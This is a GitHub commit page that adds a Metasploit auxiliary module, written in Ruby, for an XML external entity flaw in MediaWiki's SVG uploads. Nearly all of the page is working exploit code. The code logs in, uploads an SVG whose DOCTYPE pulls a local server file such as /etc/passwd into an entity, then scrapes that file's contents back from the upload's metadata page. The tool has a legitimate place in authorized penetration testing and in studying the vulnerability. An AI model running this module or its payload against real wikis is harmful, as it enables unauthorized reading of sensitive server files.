Skip to content

Commit 7f21239

Browse files
committed
Landing rapid7#1741 - MediaWiki SVG File Access Auxiliary module
[Closes rapid7#1741]
2 parents 4e8d32a + 3158677 commit 7f21239

File tree

1 file changed

+279
-0
lines changed

1 file changed

+279
-0
lines changed
Lines changed: 279 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,279 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit4 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::Report
14+
include Msf::Auxiliary::Scanner
15+
16+
def initialize
17+
super(
18+
'Name' => 'MediaWiki SVG XML Entity Expansion Remote File Access',
19+
'Description' => %q{
20+
This module attempts to read a remote file from the server using a vulnerability
21+
in the way MediaWiki handles SVG files. The vulnerability occurs while trying to
22+
expand external entities with the SYSTEM identifier. In order to work MediaWiki must
23+
be configured to accept upload of SVG files. If anonymous uploads are allowed the
24+
username and password aren't required, otherwise they are. This module has been
25+
tested successfully on MediaWiki 1.19.4 and Ubuntu 10.04.
26+
},
27+
'References' =>
28+
[
29+
[ 'OSVDB', '92490' ],
30+
[ 'URL', 'https://bugzilla.wikimedia.org/show_bug.cgi?id=46859' ],
31+
[ 'URL', 'http://www.gossamer-threads.com/lists/wiki/mediawiki-announce/350229']
32+
],
33+
'Author' =>
34+
[
35+
'Daniel Franke', # Vulnerability discovery and PoC
36+
'juan vazquez' # Metasploit module
37+
],
38+
'License' => MSF_LICENSE
39+
)
40+
41+
register_options(
42+
[
43+
Opt::RPORT(80),
44+
OptString.new('TARGETURI', [true, 'Path to MediaWiki', '/mediawiki']),
45+
OptString.new('RFILE', [true, 'Remote File', '/etc/passwd']),
46+
OptString.new('USERNAME', [ false, "The user to authenticate as"]),
47+
OptString.new('PASSWORD', [ false, "The password to authenticate with" ])
48+
], self.class)
49+
50+
register_autofilter_ports([ 80 ])
51+
deregister_options('RHOST')
52+
end
53+
54+
def rport
55+
datastore['RPORT']
56+
end
57+
58+
def peer(rhost)
59+
"#{rhost}:#{rport}"
60+
end
61+
62+
def get_first_session
63+
res = send_request_cgi({
64+
'uri' => normalize_uri(target_uri.to_s, "index.php"),
65+
'method' => 'GET',
66+
'vars_get' => {
67+
"title" => "Special:UserLogin",
68+
"returnto" => "Main+Page"
69+
}
70+
})
71+
72+
if res and res.code == 200 and res.headers['Set-Cookie'] and res.headers['Set-Cookie'] =~ /my_wiki_session=([a-f0-9]*)/
73+
return $1
74+
else
75+
return nil
76+
end
77+
end
78+
79+
def get_login_token
80+
res = send_request_cgi({
81+
'uri' => normalize_uri(target_uri.to_s, "index.php"),
82+
'method' => 'GET',
83+
'vars_get' => {
84+
"title" => "Special:UserLogin",
85+
"returnto" => "Main+Page"
86+
},
87+
'cookie' => "my_wiki_session=#{@first_session}"
88+
})
89+
90+
if res and res.code == 200 and res.body =~ /name="wpLoginToken" value="([a-f0-9]*)"/
91+
return $1
92+
else
93+
return nil
94+
end
95+
96+
end
97+
98+
def parse_auth_cookie(cookies)
99+
cookies.split(";").each do |part|
100+
case part
101+
when /my_wikiUserID=(.*)/
102+
@wiki_user_id = $1
103+
when /my_wikiUserName=(.*)/
104+
@my_wiki_user_name = $1
105+
when /my_wiki_session=(.*)/
106+
@my_wiki_session = $1
107+
else
108+
next
109+
end
110+
end
111+
end
112+
113+
def session_cookie
114+
if @user and @password
115+
return "my_wiki_session=#{@my_wiki_session}; my_wikiUserID=#{@wiki_user_id}; my_wikiUserName=#{@my_wiki_user_name}"
116+
else
117+
return "my_wiki_session=#{@first_session}"
118+
end
119+
end
120+
121+
def authenticate
122+
res = send_request_cgi({
123+
'uri' => normalize_uri(target_uri.to_s, "index.php"),
124+
'method' => 'POST',
125+
'vars_get' => {
126+
"title" => "Special:UserLogin",
127+
"action" => "submitlogin",
128+
"type" => "login"
129+
},
130+
'vars_post' => {
131+
"wpName" => datastore['USERNAME'],
132+
"wpPassword" => datastore['PASSWORD'],
133+
"wpLoginAttempt" => "Log+in",
134+
"wpLoginToken" => @login_token,
135+
"returnto" => "Main+Page"
136+
},
137+
'cookie' => "my_wiki_session=#{@first_session}"
138+
})
139+
140+
if res and res.code == 302 and res.headers['Set-Cookie'] =~ /my_wikiUserID/
141+
parse_auth_cookie(res.headers['Set-Cookie'])
142+
return true
143+
else
144+
return false
145+
end
146+
end
147+
148+
def get_edit_token
149+
res = send_request_cgi({
150+
'uri' => normalize_uri(target_uri.to_s, "index.php", "Special:Upload"),
151+
'method' => 'GET',
152+
'cookie' => session_cookie
153+
})
154+
155+
if res and res.code == 200 and res.body =~/<title>Upload file/ and res.body =~ /"editToken":"([0-9a-f]*)\+\\\\/
156+
return $1
157+
else
158+
return nil
159+
end
160+
161+
end
162+
163+
def upload_file
164+
165+
entity = Rex::Text.rand_text_alpha_lower(3)
166+
@file_name = Rex::Text.rand_text_alpha_lower(4)
167+
svg_file = %Q|
168+
<!DOCTYPE svg [<!ENTITY #{entity} SYSTEM "file://#{datastore['RFILE']}">]>
169+
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
170+
<desc>&#{entity};</desc>
171+
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:1;stroke:rgb(0,0,0)" />
172+
</svg>
173+
|
174+
svg_file.gsub!(/\t\t/, "")
175+
176+
post_data = Rex::MIME::Message.new
177+
post_data.add_part(svg_file, "image/svg+xml", nil, "form-data; name=\"wpUploadFile\"; filename=\"#{@file_name}.svg\"")
178+
post_data.add_part("#{@file_name.capitalize}.svg", nil, nil, "form-data; name=\"wpDestFile\"")
179+
post_data.add_part("", nil, nil, "form-data; name=\"wpUploadDescription\"")
180+
post_data.add_part("", nil, nil, "form-data; name=\"wpLicense\"")
181+
post_data.add_part("#{@edit_token}+\\", nil, nil, "form-data; name=\"wpEditToken\"")
182+
post_data.add_part("Special:Upload", nil, nil, "form-data; name=\"title\"")
183+
post_data.add_part("1", nil, nil, "form-data; name=\"wpDestFileWarningAck\"")
184+
post_data.add_part("Upload file", nil, nil, "form-data; name=\"wpUpload\"")
185+
186+
# Work around an incompatible MIME implementation
187+
data = post_data.to_s
188+
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
189+
190+
res = send_request_cgi({
191+
'uri' => normalize_uri(target_uri.to_s, "index.php", "Special:Upload"),
192+
'method' => 'POST',
193+
'data' => data,
194+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
195+
'cookie' => session_cookie
196+
})
197+
198+
if res and res.code == 302 and res.headers['Location']
199+
return res.headers['Location']
200+
else
201+
return nil
202+
end
203+
end
204+
205+
def read_data
206+
res = send_request_cgi({
207+
'uri' => @svg_uri,
208+
'method' => 'GET',
209+
'cookie' => session_cookie
210+
})
211+
212+
if res and res.code == 200 and res.body =~ /File:#{@file_name.capitalize}.svg/ and res.body =~ /Metadata/ and res.body =~ /<th>Image title<\/th>\n<td>(.*)<\/td>\n<\/tr><\/table>/m
213+
return $1
214+
else
215+
return nil
216+
end
217+
end
218+
219+
def accessfile(rhost)
220+
221+
vprint_status("#{peer(rhost)} MediaWiki - Getting unauthenticated session...")
222+
@first_session = get_first_session
223+
if @first_session.nil?
224+
print_error("#{peer(rhost)} MediaWiki - Failed to get unauthenticated session...")
225+
return
226+
end
227+
228+
if @user and not @user.empty? and @password and not @password.empty?
229+
vprint_status("#{peer(rhost)} MediaWiki - Getting login token...")
230+
@login_token = get_login_token
231+
if @login_token.nil?
232+
print_error("#{peer(rhost)} MediaWiki - Failed to get login token")
233+
return
234+
end
235+
236+
if not authenticate
237+
print_error("#{peer(rhost)} MediaWiki - Failed to authenticate")
238+
return
239+
end
240+
end
241+
242+
vprint_status("#{peer(rhost)} MediaWiki - Getting edit token...")
243+
@edit_token = get_edit_token
244+
if @edit_token.nil?
245+
print_error("#{peer(rhost)} MediaWiki - Failed to get edit token")
246+
return
247+
end
248+
249+
vprint_status("#{peer(rhost)} MediaWiki - Uploading SVG file...")
250+
@svg_uri = upload_file
251+
if @svg_uri.nil?
252+
print_error("#{peer(rhost)} MediaWiki - Failed to upload SVG file")
253+
return
254+
end
255+
256+
vprint_status("#{peer(rhost)} MediaWiki - Retrieving remote file...")
257+
loot = read_data
258+
if loot.nil? or loot.empty?
259+
print_error("#{peer(rhost)} MediaWiki - Failed to retrieve remote file")
260+
return
261+
end
262+
263+
f = ::File.basename(datastore['RFILE'])
264+
path = store_loot('mediawiki.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
265+
print_status("#{peer(rhost)} MediaWiki - #{datastore['RFILE']} saved in #{path}")
266+
end
267+
268+
def run
269+
@user = datastore['USERNAME']
270+
@password = datastore['USERNAME']
271+
super
272+
end
273+
274+
def run_host(ip)
275+
accessfile(ip)
276+
end
277+
278+
end
279+

0 commit comments

Comments
 (0)